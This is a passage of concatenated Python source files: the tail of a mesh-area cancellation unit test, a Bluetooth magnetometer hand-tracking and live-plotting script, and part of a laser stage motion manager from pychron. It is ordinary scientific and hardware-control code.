textureArea.data self.assertEqual( len( textureAreas ), 2 ) self.assertEqual( textureAreas[0], 6 ) self.assertEqual( textureAreas[1], 1 ) @unittest.skipIf( IECore.TestUtil.inMacCI(), "Mac CI is too slow for reliable timing" ) def testCancel( self ) : canceller = IECore.Canceller() cancelled = [False] # Basic large mesh strip = IECoreScene.MeshPrimitive.createPlane( imath.Box2f( imath.V2f( 0 ), imath.V2f( 1000000, 1 ) ), imath.V2i( 1000000, 1 ) ) def backgroundRun( texture ): try: if texture: IECoreScene.MeshAlgo.calculateFaceTextureArea( strip, "uv", "P", canceller ) else: IECoreScene.MeshAlgo.calculateFaceArea( strip, "P", canceller ) except IECore.Cancelled: cancelled[0] = True for texture in [ False, True ]: cancelled[0] = False thread = threading.Thread(target=backgroundRun, args=(texture,)) startTime = time.time() thread.start() time.sleep( 0.01 ) canceller.cancel() thread.join() self.assertLess( time.time() - startTime, 0.03 ) self.assertTrue( cancelled[0] ) if __name__ == "__main__": unittest.main()
real_time_pos_hand.py
from os import read import queue from codetiming import Timer import asyncio import matplotlib.pyplot as plt import numpy as np import sys import random from itertools import count import time from matplotlib.animation import FuncAnimation from numpy.core.numeric import True_ import matplotlib import queue import asyncio import struct import sys import time import datetime import atexit import time import numpy as np from bleak import BleakClient import matplotlib.pyplot as plt from bleak import exc import pandas as pd import atexit from multiprocessing import Pool import multiprocessing import keyboard import pickle from src.solver import Solver_jac, Solver from src.filter import Magnet_KF, Magnet_UKF from src.preprocess import Calibrate_Data from config import pSensor_smt, pSensor_large_smt, pSensor_small_smt, pSensor_median_smt import cppsolver as cs '''The parameter user should change accordingly''' # Change pSensor if a different sensor layout is used pSensor = pSensor_large_smt # Change this parameter for different initial value for 1 magnet params = np.array([40 / np.sqrt(2) * 1e-6, 40 / np.sqrt(2) * 1e-6, 0, np.log(3), 1e-2 * (-2), 1e-2 * (2), 1e-2 * (11), 0, 0]) # Change this parameter for different initial value for 2 magnets params2 = np.array([ 40 / np.sqrt(2) * 1e-6, 40 / np.sqrt(2) * 1e-6, 0, np.log(3), 1e-2 * 6, 1e-2 * 0, 1e-2 * (-1), 0, 0, 1e-2 * 5, 1e-2 * (4), 1e-2 * (-1), 0, 0, ]) # Your adafruit nrd52832 ble address ble_address = "2A59A2D4-BCD8-4AF7-B750-E51195C1CA13" # Absolute or relative path to the calibration data, stored in CSV cali_path = 'Path to the calibration data, stored in CSV' '''The calculation and visualization process''' matplotlib.use('Qt5Agg') t = 0 # Nordic NUS characteristic for RX, which should be writable UART_RX_UUID = "6e400002-b5a3-f393-e0a9-e50e24dcca9e" # Nordic NUS characteristic for TX, which should be readable UART_TX_UUID = "6e400003-b5a3-f393-e0a9-e50e24dcca9e" result = [] trigger_calibration = multiprocessing.Manager().Queue() worklist = multiprocessing.Manager().Queue() results = multiprocessing.Manager().Queue() results2 = multiprocessing.Manager().Queue() def end(): print('End of the program') sys.exit(0) def calculation_parallel(magcount=1, use_kf=0, use_wrist=False): global worklist global params global params2 global results global results2 global pSensor global trigger_calibration with open('result/svm/2021-07-23 17:06_f1_macro.pkl', 'rb') as fid: clf = pickle.load(fid) calibration = np.load('result/calibration.npz') offset = calibration['offset'].reshape(-1) scale = calibration['scale'].reshape(-1) local_trigger = 0 calibration_offset = np.zeros_like(pSensor).reshape(-1) myparams1 = params myparams2 = params2 while True: if not worklist.empty(): raw_datai = worklist.get() if not trigger_calibration.empty(): trigger_calibration.get() calibration_offset = raw_datai print('calibrated') continue datai = (raw_datai-calibration_offset) datai = datai.reshape(-1, 3) # resulti [gx, gy, gz, m, x0,y0,z0, theta0, phy0, x1, y1, z1, theta1, phy1] if magcount == 1: if np.max(myparams1[4:7]) > 1: myparams1 = params resulti = cs.solve_1mag( datai.reshape(-1), pSensor.reshape(-1), myparams1) myparams1 = resulti elif magcount == 2: if np.max( np.abs(myparams2[4: 7])) > 1 or np.max( np.abs(myparams2[9: 12])) > 1: myparams2 = params2 resulti = cs.solve_2mag( datai.reshape(-1), pSensor.reshape(-1), myparams2) myparams2 = resulti if use_wrist: result = [ (resulti[4]) * 1e2, (resulti[5]) * 1e2, (resulti[6]) * 1e2, np.sin(resulti[7]) * np.cos(resulti[8]), np.sin(resulti[7]) * np.sin(resulti[8]), np.cos(resulti[7])] result2 = [ (resulti[9]) * 1e2, (resulti[10]) * 1e2, (resulti[11]) * 1e2, np.sin(resulti[12]) * np.cos(resulti[13]), np.sin(resulti[12]) * np.sin(resulti[13]), np.cos(resulti[12])] while not results2.empty(): tmp = results2.get() results2.put(result2) cname = ['down', 'finger_heart', 'flat', 'up'] result2 = [ (resulti[4]) * 1e2, (resulti[5]) * 1e2, (resulti[6]) * 1e2, np.sin(resulti[7]) * np.cos(resulti[8]), np.sin(resulti[7]) * np.sin(resulti[8]), np.cos(resulti[7]), (resulti[9]) * 1e2, (resulti[10]) * 1e2, (resulti[11]) * 1e2, np.sin(resulti[12]) * np.cos(resulti[13]), np.sin(resulti[12]) * np.sin(resulti[13]), np.cos(resulti[12])] print(clf.predict(np.array(result2).reshape(1, -1))) n = clf.predict(np.array(result2).reshape(1, -1)) print(cname[int(n)]) else: result = [resulti[4] * 1e2, resulti[5] * 1e2, resulti[6] * 1e2] if magcount == 2: result2 = [resulti[9] * 1e2, resulti[10] * 1e2, resulti[11] * 1e2] if magcount == 1: print( "Position: {:.2f}, {:.2f}, {:.2f}, dis={:.2f}".format( result[0], result[1], result[2], np.sqrt( result[0] ** 2 + result[1] ** 2 + result[2] ** 2))) if magcount == 2: print( "Mag 1 Position: {:.2f}, {:.2f}, {:.2f}, dis={:.2f} \n Mag 2 Position: {:.2f}, {:.2f}, {:.2f}, dis={:.2f}". format( result[0], result[1], result[2], np.sqrt( result[0] ** 2 + result[1] ** 2 + result[2] ** 2), result2[0], result2[1], result2[2], np.sqrt( result2[0] ** 2 + result2[1] ** 2 + result2[2] ** 2))) while not results.empty(): tmp = results.get() results.put(result) async def read_data(path='result/synthesized_route_data.npy'): global worklist data = np.load(path) for i in range(data.shape[0]): worklist.put(data[i]) await asyncio.sleep(1/30) def read_data_parallel(path='result/synthesized_route_data.npy'): global worklist data = np.load(path) for i in range(data.shape[0]): worklist.put(data[i]) time.sleep(1/30) def read_data_parallel2(path='result/synthesized_route_data.npy'): # global worklist # data = np.load(path) # for i in range(data.shape[0]): # worklist.put(data[i]) # time.sleep(1/30) asyncio.gather( # asyncio.create_task(task("One", work_queue)), # asyncio.create_task(task("Two", work_queue)), asyncio.create_task(read_data()), # asyncio.create_task(run_ble(address, asyncio.get_event_loop())), # asyncio.create_task(calculation()), # asyncio.create_task(show_mag()), ) async def task(name, work_queue): timer = Timer(text=f"Task {name} elapsed time: {{: .1f}}") while not work_queue.empty(): delay = await work_queue.get() print(f"Task {name} running") timer.start() await asyncio.sleep(delay) timer.stop() async def count(): while True: await asyncio.sleep(0.00) global t t += 0.1 async def show_mag(magcount=1): global t global pSensor global results global results2 myresults = np.array([[0, 0, 10]]) myresults2 = np.array([[0, 0, 10]]) fig = plt.figure(figsize=(6, 6)) ax = fig.gca(projection='3d') # TODO: add title ax.set_xlabel('x(cm)') ax.set_ylabel('y(cm)') ax.set_zlabel('z(cm)') ax.set_xlim([-5, 20]) ax.set_ylim([-10, 10]) ax.set_zlim([-10, 20]) Xs = 1e2 * pSensor[:, 0] Ys = 1e2 * pSensor[:, 1] Zs = 1e2 * pSensor[:, 2] XXs = Xs YYs = Ys ZZs = Zs ax.scatter(XXs, YYs, ZZs, c='r', s=1, alpha=0.5) # (magnet_pos,) = ax.plot(t/100.0*5, t/100.0*5, t / # 100.0*5, linewidth=3, animated=True) # if magcount == 2: # (magnet_pos2,) = ax.plot(t/100.0*5, t/100.0*5, t / # 100.0*5, linewidth=3, animated=True) plt.show(block=False) plt.pause(0.1) len_f1 = 10 len_f2 = 5 len_hand = 10 len_wrist = 3.5 pos_wrist = np.array([len_wrist, 0, 0]) pos_f1 = np.array([6.5, 3, 1]) ang_f1 = np.array([1, np.sqrt(3), 0])/np.sqrt(4) pos_f2 = np.array([5.5, 6, 1]) ang_f2 = np.array([1, 1, 0])/np.sqrt(2) p1_f1 = pos_f1-len_f1/2*ang_f1 p2_f1 = pos_f1+len_f1/2*ang_f1 p1_f2 = pos_f2-len_f2/2*ang_f2 p2_f2 = pos_f2+len_f2/2*ang_f2 # mag_pos = np.stack([pos_f1, pos_f2], axis=0) # ax.scatter(mag_pos[:, 0], mag_pos[:, 1], mag_pos[:, 2]) # plot wrist tmp = np.stack([np.array([0, 0, 0]), pos_wrist], axis=0) (wrist,) = ax.plot(tmp[:, 0], tmp[:, 1], tmp[:, 2], linewidth=5) # plot hand tmp = np.stack([pos_wrist, p1_f1], axis=0) (hand_p1,) = ax.plot(tmp[:, 0], tmp[:, 1], tmp[:, 2], linewidth=5) tmp = np.stack([pos_wrist, p1_f2], axis=0) (hand_p2,) = ax.plot(tmp[:, 0], tmp[:, 1], tmp[:, 2], linewidth=5) # plot finger tmp = np.stack([p1_f1, p2_f1], axis=0) (finger_p1,) = ax.plot(tmp[:, 0], tmp[:, 1], tmp[:, 2], linewidth=5) tmp = np.stack([p1_f2, p2_f2], axis=0) (finger_p2,) = ax.plot(tmp[:, 0], tmp[:, 1], tmp[:, 2], linewidth=5) bg = fig.canvas.copy_from_bbox(fig.bbox) # ax.draw_artist(magnet_pos) fig.canvas.blit(fig.bbox) while True: # timer.start() fig.canvas.restore_region(bg) # update the artist, neither the canvas state nor the screen have changed # re-render the artist, updating the canvas state, but not the screen # ax.draw_artist(magnet_pos) if results.empty(): await asyncio.sleep(0) continue result = results.get() result2 = results2.get() pos_f1 = np.array([result[0], result[1], result[2]]) ang_f1 = np.array([result[3], result[4], result[5]]) pos_f2 = np.array([result2[0], result2[1], result2[2]]) ang_f2 = np.array([result2[3], result2[4], result2[5]]) print(pos_f1, ang_f1) p1_f1 = pos_f1-len_f1/2*ang_f1 p2_f1 = pos_f1+len_f1/2*ang_f1 p1_f2 = pos_f2-len_f2/2*ang_f2 p2_f2 = pos_f2+len_f2/2*ang_f2 # mag_pos = np.stack([pos_f1, pos_f2], axis=0) # ax.scatter(mag_pos[:, 0], mag_pos[:, 1], mag_pos[:, 2]) # plot wrist tmp = np.stack([np.array([0, 0, 0]), pos_wrist], axis=0) # (wrist,) = ax.plot(tmp[:, 0], tmp[:, 1], tmp[:, 2]) wrist.set_xdata(tmp[:, 0]) wrist.set_ydata(tmp[:, 1]) wrist.set_3d_properties(tmp[:, 2], zdir='z') ax.draw_artist(wrist) # plot hand tmp = np.stack([pos_wrist, p1_f1], axis=0) # (hand_p1,) = ax.plot(tmp[:, 0], tmp[:, 1], tmp[:, 2]) hand_p1.set_xdata(tmp[:, 0]) hand_p1.set_ydata(tmp[:, 1]) hand_p1.set_3d_properties(tmp[:, 2], zdir='z') ax.draw_artist(hand_p1) tmp = np.stack([pos_wrist, p1_f2], axis=0) # (hand_p2,) = ax.plot(tmp[:, 0], tmp[:, 1], tmp[:, 2]) hand_p2.set_xdata(tmp[:, 0]) hand_p2.set_ydata(tmp[:, 1]) hand_p2.set_3d_properties(tmp[:, 2], zdir='z') ax.draw_artist(hand_p2) # plot finger tmp = np.stack([p1_f1, p2_f1], axis=0) # (finger_p1,) = ax.plot(tmp[:, 0], tmp[:, 1], tmp[:, 2]) finger_p1.set_xdata(tmp[:, 0]) finger_p1.set_ydata(tmp[:, 1]) finger_p1.set_3d_properties(tmp[:, 2], zdir='z') ax.draw_artist(finger_p1) tmp = np.stack([p1_f2, p2_f2], axis=0) # (finger_p2,) = ax.plot(tmp[:, 0], tmp[:, 1], tmp[:, 2]) finger_p2.set_xdata(tmp[:, 0]) finger_p2.set_ydata(tmp[:, 1]) finger_p2.set_3d_properties(tmp[:, 2], zdir='z') ax.draw_artist(finger_p2) # copy the image to the GUI state, but screen might not changed yet fig.canvas.blit(fig.bbox) # flush any pending GUI events, re-painting the screen if needed fig.canvas.flush_events() await asyncio.sleep(0) # timer.stop() def show_mag_parallel(): global t global pSensor global results myresults = np.array([[0, 0, 10]]) fig = plt.figure(figsize=(5, 5)) ax = fig.gca(projection='3d') ax.set_xlabel('x(cm)') ax.set_ylabel('y(cm)') ax.set_zlabel('z(cm)') ax.set_xlim([-10, 10]) ax.set_ylim([-10, 10]) ax.set_zlim([-10, 40]) Xs = 1e2 * pSensor[:, 0] Ys = 1e2 * pSensor[:, 1] Zs = 1e2 * pSensor[:, 2] XXs = Xs YYs = Ys ZZs = Zs ax.scatter(XXs, YYs, ZZs, c='r', s=1, alpha=0.5) (magnet_pos,) = ax.plot(t/100.0*5, t/100.0*5, t / 100.0*5, color='purple', linewidth=5, animated=True) plt.show(block=False) plt.pause(0.1) bg = fig.canvas.copy_from_bbox(fig.bbox) ax.draw_artist(magnet_pos) fig.canvas.blit(fig.bbox) # timer = Timer(text=f"frame elapsed time: {{: .5f}}") while True: # timer.start() fig.canvas.restore_region(bg) # update the artist, neither the canvas state nor the screen have changed # update myresults if not results.empty(): myresult = results.get() myresults = np.concatenate( [myresults, np.array(myresult).reshape(1, -1)]) myresults = myresults[-20:] x = myresults[:, 0] y = myresults[:, 1] z = myresults[:, 2] xx = x yy = y zz = z magnet_pos.set_xdata(xx) magnet_pos.set_ydata(yy) magnet_pos.set_3d_properties(zz, zdir='z') # re-render the artist, updating the canvas state, but not the screen ax.draw_artist(magnet_pos) # copy the image to the GUI state, but screen might not changed yet fig.canvas.blit(fig.bbox) # flush any pending GUI events, re-painting the screen if needed fig.canvas.flush_events() # timer.stop() @ atexit.register def clean(): print("Output csv") print("Exited") def notification_handler(sender, data): """Simple notification handler which prints the data received.""" num = int(pSensor.size/3) global worklist all_data = [] sensors = np.zeros((num, 3)) current = [datetime.datetime.now()] calibration = np.load('result/calibration.npz') offset = calibration['offset'] scale = calibration['scale'] for i in range(num): sensors[i, 0] = struct.unpack('f', data[12 * i: 12 * i + 4])[0] sensors[i, 1] = struct.unpack('f', data[12 * i + 4: 12 * i + 8])[0] sensors[i, 2] = struct.unpack('f', data[12 * i + 8: 12 * i + 12])[0] # print("Sensor " + str(i+1)+": "+str(sensors[i, 0]) + ", " + str(sensors[i, 1]) + ", " + str(sensors[i, 2])) current.append( "(" + str(sensors[i, 0]) + ", " + str(sensors[i, 1]) + ", " + str(sensors[i, 2]) + ")") # battery_voltage = struct.unpack('f', data[12 * num: 12 * num + 4])[0] # print("Battery voltage: " + str(battery_voltage)) sensors = sensors.reshape(-1) sensors = (sensors - offset) / scale * np.mean(scale) if len(all_data) > 3: sensors = (sensors + all_data[-1] + all_data[-2])/3 all_data.append(sensors) worklist.put(sensors) # print("############") async def run_ble(address, loop): async with BleakClient(address, loop=loop) as client: # wait for BLE client to be connected x = await client.is_connected() print("Connected: {0}".format(x)) print("Press Enter to quit...") # wait for data to be sent from client await client.start_notify(UART_TX_UUID, notification_handler) while True: await asyncio.sleep(0.01) # data = await client.read_gatt_char(UART_TX_UUID) async def main(magcount=1): """ This is the main entry point for the program """ # Address of the BLE device global ble_address address = (ble_address) # Run the tasks with Timer(text="\nTotal elapsed time: {:.1f}"): multiprocessing.Process( target=calculation_parallel, args=(magcount, 1, True)).start() # multiprocessing.Process(target=read_data_parallel).start() await asyncio.gather( # asyncio.create_task(task("One", work_queue)), # asyncio.create_task(task("Two", work_queue)), # asyncio.create_task(read_data()), asyncio.create_task(run_ble(address, asyncio.get_event_loop())), # asyncio.create_task(calculation()), asyncio.create_task(show_mag(magcount)), ) if __name__ == '__main__': # pool = multiprocessing.Pool(3) # results = [] # results.append(pool.apply_async(read_data_parallel)) # results.append(pool.apply_async(calculation_parallel)) # # results.append(pool.apply_async(show_mag_parallel)) # pool.close() # pool.join() if True: calibration = Calibrate_Data(cali_path) [offset, scale] = calibration.cali_result() np.savez('result/calibration.npz', offset=offset, scale=scale) print(np.mean(scale)) # sys.exit(0) def trigger(e): print("You triggered the calibration") global trigger_calibration trigger_calibration.put(1) keyboard.on_press_key("r", trigger) asyncio.run(main(2))
stage_manager.py
# =============================================================================== # Copyright 2011 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # =============================================================================== import os import time from numpy import array, asarray # =============enthought library imports======================= from traits.api import DelegatesTo, Instance, \ Button, List, String, Event, Bool from pychron.canvas.canvas2D.laser_tray_canvas import LaserTrayCanvas from pychron.core.geometry.convex_hull import convex_hull from pychron.core.geometry.geometry import sort_clockwise from pychron.core.geometry.polygon_offset import polygon_offset from pychron.core.helpers.filetools import add_extension from pychron.core.helpers.strtools import csv_to_floats from pychron.core.ui.preference_binding import bind_preference, ColorPreferenceBinding from pychron.core.ui.thread import Thread from pychron.experiment.utilities.position_regex import POINT_REGEX, XY_REGEX, TRANSECT_REGEX from pychron.hardware.motion_controller import MotionController, \ TargetPositionError, ZeroDisplacementException from pychron.lasers.points.points_programmer import PointsProgrammer from pychron.managers.motion_controller_managers.motion_controller_manager \ import MotionControllerManager from pychron.paths import paths from pychron.stage.stage_manager import BaseStageManager def distance_threshold(p1, p2, tol): if p2 is None: return True x1, y1 = p1 x2, y2 = p2 return ((x1 - x2) ** 2 + (y1 - y2) ** 2) ** 0.5 > tol class StageManager(BaseStageManager): """ """ stage_controller_klass = String('Newport') stage_controller = Instance(MotionController) points_programmer = Instance(PointsProgrammer) motion_controller_manager = Instance(MotionControllerManager) # canvas = Instance(LaserTrayCanvas) simulation = DelegatesTo('stage_controller') # stage_map_klass = StageMap # _stage_map = Instance(StageMap) # stage_map = Property(depends_on='_stage_map') # stage_maps = Property(depends_on='_stage_maps') # _stage_maps = List # =========================================================================== # buttons # =========================================================================== home = Button('home') home_option = String('Home All') home_options = List manual_override_position_button = Event ejoystick = Event joystick_label = String('Enable Joystick') joystick = Bool(False) joystick_timer = None back_button = Button stop_button = Button('Stop') _default_z = 0 _cached_position = None _cached_current_hole = None _homing = False def __init__(self, *args, **kw): """ """ super(StageManager, self).__init__(*args, **kw) self.stage_controller = self._stage_controller_factory() def measure_grain_polygon(self): pass def stop_measure_grain_polygon(self): pass def shutdown(self): self._save_stage_map() def create_device(self, *args, **kw): dev = super(StageManager, self).create_device(*args, **kw) dev.parent = self return dev def goto_position(self, v, **kw): if XY_REGEX[0].match(v): self._move_to_calibrated_position(v) elif POINT_REGEX.match(v) or TRANSECT_REGEX[0].match(v): self.move_to_point(v) else: self.move_to_hole(v, user_entry=True, **kw) def get_current_position(self): if self.stage_controller: x = self.stage_controller.x y = self.stage_controller.y return x, y def get_current_hole(self): pos = self.get_current_position() if self.stage_map: if distance_threshold(pos, self._cached_position, self.stage_map.g_dimension / 4): h = self.get_calibrated_hole(*pos, tol=self.stage_map.g_dimension / 2.) if h is not None: self._cached_current_hole = h self._cached_position = pos return self._cached_current_hole def is_auto_correcting(self): return False def bind_preferences(self, pref_id): bind_preference(self.canvas, 'show_grids', '{}.show_grids'.format(pref_id)) self.canvas.change_grid_visibility() bind_preference(self.canvas, 'show_laser_position', '{}.show_laser_position'.format(pref_id)) bind_preference(self.canvas, 'show_desired_position', '{}.show_desired_position'.format(pref_id)) bind_preference(self.canvas, 'desired_position_color', '{}.desired_position_color'.format(pref_id), factory=ColorPreferenceBinding) # bind_preference(self.canvas, 'render_map', '{}.render_map'.format(pref_id)) # bind_preference(self.canvas, 'crosshairs_kind', '{}.crosshairs_kind'.format(pref_id)) for tag in ('', 'aux_'): for key in ('line_width', 'color', 'radius', 'offsetx', 'offsety'): key = '{}crosshairs_{}'.format(tag, key) factory = ColorPreferenceBinding if key.endswith('color') else None pref = '{}.{}'.format(pref_id, key) bind_preference(self.canvas, key, pref, factory=factory) # bind_preference(self.canvas, '{}crosshairs_line_width', '{}.{}crosshairs_line_width'.format(pref_id)) # bind_preference(self.canvas, 'crosshairs_color', # '{}.crosshairs_color'.format(pref_id), # factory=ColorPreferenceBinding) # bind_preference(self.canvas, 'crosshairs_radius', '{}.crosshairs_radius'.format(pref_id)) # bind_preference(self.canvas, 'crosshairs_offsetx', '{}.crosshairs_offsetx'.format(pref_id)) # bind_preference(self.canvas, 'crosshairs_offsety', '{}.crosshairs_offsety'.format(pref_id)) bind_preference(self.canvas, 'show_hole_label', '{}.show_hole_label'.format(pref_id)) bind_preference(self.canvas, 'hole_label_color', '{}.hole_label_color'.format(pref_id)) bind_preference(self.canvas, 'hole_label_size', '{}.hole_label_size'.format(pref_id)) self.canvas.handle_hole_label_size(self.canvas.hole_label_size) bind_preference(self.canvas, 'scaling', '{}.scaling'.format(pref_id)) bind_preference(self.canvas, 'show_bounds_rect', '{}.show_bounds_rect'.format(pref_id)) self.canvas.request_redraw() def load(self): super(StageManager, self).load() config = self.get_configuration() if config: self._default_z = self.config_get(config, 'Defaults', 'z', default=13, cast='float') self.points_programmer.load_stage_map(self.stage_map_name) # load the calibration file # should have calibration files for each stage map self.tray_calibration_manager.load_calibration() def finish_loading(self): self.initialize_stage() def initialize_stage(self): self.update_axes() axes = self.stage_controller.axes self.home_options = ['Home All', 'XY'] + sorted([axes[a].name.upper() for a in axes]) self.canvas.parent = self def save_calibration(self, name): self.tray_calibration_manager.save_calibration(name=name) # def add_stage_map(self, v): # sm = self.stage_map_klass(file_path=v) # psm = self._get_stage_map_by_name(sm.name) # if psm: # self._stage_maps.remove(psm) # self._stage_maps.append(sm) def accept_point(self): self.points_programmer.accept_point() def set_stage_map(self, v): return self._set_stage_map(v) def single_axis_move(self, *args, **kw): return self.stage_controller.single_axis_move(*args, **kw) def linear_move(self, x, y, use_calibration=True, check_moving=False, abort_if_moving=False, **kw): if check_moving: if self.moving(): self.warning('MotionController already in motion') if abort_if_moving: self.warning('Move to {},{} aborted'.format(x, y)) return else: self.stop() self.debug('Motion stopped. moving to {},{}'.format(x, y)) pos = (x, y) if use_calibration: pos = self.get_calibrated_position(pos) f = lambda x: '{:0.5f},{:0.5f}'.format(*x) self.debug('%%%%%%%%%%%%%%%%% mapped {} to {}'.format(f((x, y)), f(pos))) self.stage_controller.linear_move(*pos, **kw) def move_to_hole(self, hole, **kw): if self.stage_map.check_valid_hole(hole, **kw): self._move(self._move_to_hole, hole, name='move_to_hole', **kw) def move_to_point(self, pt): self._move(self._move_to_point, pt, name='move_to_point') def move_polyline(self, line): self._move(self._move_to_line, line, name='move_to_line') def move_polygon(self, poly): self._move(self._move_polygon, poly, name='move_polygon') def drill_point(self, pt): self._move(self._drill_point, pt, name='drill_point') def set_x(self, value, **kw): return self.stage_controller.single_axis_move('x', value, **kw) def set_y(self, value, **kw): return self.stage_controller.single_axis_move('y', value, **kw) def set_z(self, value, **kw): return self.stage_controller.single_axis_move('z', value, **kw) def set_xy(self, x, y, **kw): hole = self._get_hole_by_position(x, y) if hole: self.move_to_hole(hole) # self._set_hole(hole.id) # self.move_to_hole(hole.id) # self._set_hole(hole.id) else: return self.linear_move(x, y, **kw) def get_hole(self, name): if self.stage_map: return self.stage_map.get_hole(name) def move_to_load_position(self): """ """ x, y, z = self.stage_controller.get_load_position() self.info('moving to load position, x={}, y={}, z={}'.format(x, y, z)) self.stage_controller.linear_move(x, y, grouped_move=False, block=False) self.stage_controller.set_z(z) self.stage_controller.block() def stop(self, ax_key=None, verbose=False): self._stop(ax_key, verbose) def relative_move(self, *args, **kw): self.stage_controller.relative_move(*args, **kw) def key_released(self): sc = self.stage_controller sc.add_consumable((sc.update_axes, tuple())) def moving(self, force_query=False, **kw): moving = False if force_query: moving = self.stage_controller.moving(**kw) elif self.stage_controller.timer is not None: moving = self.stage_controller.timer.isActive() return moving def get_brightness(self, **kw): return 0 def get_scores(self, **kw): return 0, 0 def define_home(self, **kw): self.stage_controller.define_home(**kw) def get_z(self): return self.stage_controller._z_position def get_uncalibrated_xy(self, pos=None): if pos is None: pos = (self.stage_controller.x, self.stage_controller.y) if self.stage_controller.xy_swapped(): pos = pos[1], pos[0] canvas = self.canvas ca = canvas.calibration_item if ca: pos = self.stage_map.map_to_uncalibration(pos, ca.center, ca.rotation, ca.scale) return pos def get_calibrated_xy(self): pos = (self.stage_controller.x, self.stage_controller.y) if self.stage_controller.xy_swapped(): pos = pos[1], pos[0] pos = self.canvas.map_offset_position(pos) return self.get_calibrated_position(pos) def get_calibrated_hole(self, x, y, tol): ca = self.canvas.calibration_item if ca is not None: smap = self.stage_map xx, yy = smap.map_to_uncalibration((x, y), ca.center, ca.rotation) return next((hole for hole in smap.sample_holes if abs(hole.x - xx) < tol and abs(hole.y - yy) < tol), None) def get_hole_xy(self, key): pos = self.stage_map.get_hole_pos(key) # map the position to calibrated space pos = self.get_calibrated_position(pos) return pos def finish_move_to_hole(self, user_entry): pass # private def _update_axes(self): if self.stage_controller: self.stage_controller.update_axes() def _home(self): """ """ if self._homing: return self._homing = True if self.home_option == 'Home All': msg = 'homing all motors' homed = ['x', 'y', 'z'] home_kwargs = dict(x=-25, y=-25, z=50) elif self.home_option == 'XY': msg = 'homing x,y' homed = ['x', 'y'] home_kwargs = dict(x=-25, y=-25) else: # define_home = msg = 'homing {}'.format(self.home_option) home_kwargs = {self.home_option: -25 if self.home_option in ['X', 'Y'] else 50} homed = [self.home_option.lower().strip()] self.info(msg) # if define_home: self.stage_controller.set_home_position(**home_kwargs) self.stage_controller.home(homed) # explicitly block # self.stage_controller.block() if 'z' in homed and 'z' in self.stage_controller.axes: # will be a positive limit error in z # self.stage_controller.read_error() time.sleep(1) self.info('setting z to nominal position. {} mm '.format(self._default_z)) self.stage_controller.single_axis_move('z', self._default_z, block=True) self.stage_controller._z_position = self._default_z if self.home_option in ['XY', 'Home All']: time.sleep(0.25) # the stage controller should think x and y are at -25,-25 self.stage_controller._x_position = -25 self.stage_controller._y_position = -25 self.info('moving to center') try: self.stage_controller.linear_move(0, 0, block=True, sign_correct=False) except TargetPositionError as e: self.warning_dialog('Move Failed. {}'.format(e)) self._homing = False def _get_hole_by_position(self, x, y): if self.stage_map: return self.stage_map._get_hole_by_position(x, y) def _get_hole_by_name(self, key): sm = self.stage_map return sm.get_hole(key) # =============================================================================== # special move # =============================================================================== def _stop(self, ax_key=None, verbose=False): self.stage_controller.stop(ax_key=ax_key, verbose=verbose) if self.parent.pattern_executor: self.parent.pattern_executor.stop() # def _move(self, func, pos, name=None, *args, **kw): # if pos is None: # return # # if self.move_thread and self.move_thread.isRunning(): # self.stage_controller.stop() # if name is None: # name = func.func_name # # self.move_thread = Thread(name='stage.{}'.format(name), # target=func, args=(pos,) + args, kwargs=kw) # self.move_thread.start() def _drill_point(self, pt): zend = pt.zend vel = pt.velocity # assume already at zstart st = time.time() self.info('start drilling. move to {}. velocity={}'.format(zend, vel)) self.set_z(zend, velocity=vel, block=True) et = time.time() - st self.info('drilling complete. drilled for {}s'.format(et)) def _move_polygon(self, pts, velocity=5, offset=50, use_outline=True, find_min=False, scan_size=None, use_move=True, use_convex_hull=True, motors=None, verbose=True, start_callback=None, end_callback=None): """ motors is a dict of motor_name:value pairs """ if pts is None: return if not isinstance(pts, list): velocity = pts.velocity use_convex_hull = pts.use_convex_hull if scan_size is None: scan_size = pts.scan_size use_outline = pts.use_outline offset = pts.offset find_min = pts.find_min pts = [dict(xy=(pi.x, pi.y), z=pi.z, ) for pi in pts.points] # set motors if motors is not None: for k, v in motors.values(): ''' motor will not set if it has been locked using set_motor_lock or remotely using SetMotorLock ''' if use_move: self.parent.set_motor(k, v, block=True) xy = [pi['xy'] for pi in pts] n = 1000 if scan_size is None: scan_size = n / 2 # convert points to um pts = array(xy) pts *= n pts = asarray(pts, dtype=int) ''' sort clockwise ensures consistent offset behavior a polygon gain have a inner or outer sense depending on order of vertices always use sort_clockwise prior to any polygon manipulation ''' pts = sort_clockwise(pts, pts) sc = self.stage_controller sc.set_program_mode('absolute') # do smooth transitions between points sc.set_smooth_transitions(True) if use_convex_hull: pts = convex_hull(pts) if use_outline: # calculate new polygon offset_pts = polygon_offset(pts, -offset) offset_pts = array(offset_pts, dtype=int) # polygon offset used 3D vectors. # trim to only x,y pts = offset_pts[:, (0, 1)] # trace perimeter if use_move: p0 = xy[0] self.linear_move(p0[0], p0[1], mode='absolute', block=True) sc.timer = sc.timer_factory() if start_callback is not None: start_callback() # buf=[] for pi in xy[1:]: self.linear_move(pi[0], pi[1], velocity=velocity, mode='absolute', set_stage=False) # finish at first point self.linear_move(p0[0], p0[1], velocity=velocity, mode='absolute', set_stage=False) sc.block() self.info('polygon perimeter trace complete') ''' have the oppurtunity here to turn off laser and change parameters i.e mask ''' if use_move: # calculate and step thru scan lines self._raster(pts, velocity, step=scan_size, scale=n, find_min=find_min, start_callback=start_callback, end_callback=end_callback, verbose=verbose) sc.set_program_mode('relative') if end_callback is not None: end_callback() self.info('polygon raster complete') def _raster(self, points, velocity, step=500, scale=1000, find_min=False, start_callback=None, end_callback=None, verbose=False): from pychron.core.geometry.scan_line import raster lines = raster(points, step=step, find_min=find_min) # initialize variables cnt = 0 direction = 1 flip = False lasing = False sc = self.stage_controller if verbose: self.info('start raster') # print lines # loop thru each scan line # for yi, xs in lines[::skip]: for yi, xs in lines: if direction == -1: xs = list(reversed(xs)) # convert odd numbers lists to even n = len(xs) if n % 2 != 0: xs = sorted(list(set(xs))) # traverse each x-intersection pair n = len(xs) for i in range(0, n, 2): if len(xs) <= 1: continue x1, x2, yy = xs[i] / scale, xs[i + 1] / scale, yi / scale if abs(x1 - x2) > 1e-10: if not lasing: if verbose: self.info('fast to {} {},{}'.format(cnt, x1, yy)) self.linear_move(x1, yy, mode='absolute', 